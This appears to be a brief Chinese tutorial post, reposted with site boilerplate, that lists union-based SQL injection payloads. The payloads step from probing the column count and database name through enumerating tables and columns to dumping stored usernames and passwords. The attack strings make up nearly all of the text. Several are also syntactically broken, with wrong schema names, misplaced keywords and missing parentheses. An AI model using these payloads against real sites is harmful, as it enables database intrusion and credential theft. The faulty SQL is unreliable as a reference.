sql注入

本文主要是介绍sql注入，对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！

字符型、数字型sql判断

?id=1 order by 3　　　　//判断order by后面的数字，如果正确则会显示和id=1一样的结果，如果错误Kennedy不回显或者报错

?id=-1 and union select 1,version(),database() 　　　　//-1表示前面的内容错误，这样才能显示后面的内容，防止被覆盖

?id=-1 and union select 1,2,(select group_concat(table_name) from information_schema.table where table.schema='查出来的表名'

或者?id=-1 and union select 1,2,(select group_concat(table_name) from information_schema.table where table.schema=database()

?id=-1 and union select 1,2,(select group_concat(column_name) from information_schema.columns where table.name='查出来的表名'

?id=-1 union select 1,2,(select group_concat(username,password) from 查出来的库名.查出来的表名　　　　//username和password是表中的字段

这篇关于sql注入的文章就介绍到这儿，希望我们推荐的文章对大家有所帮助，也希望大家多多支持为之网！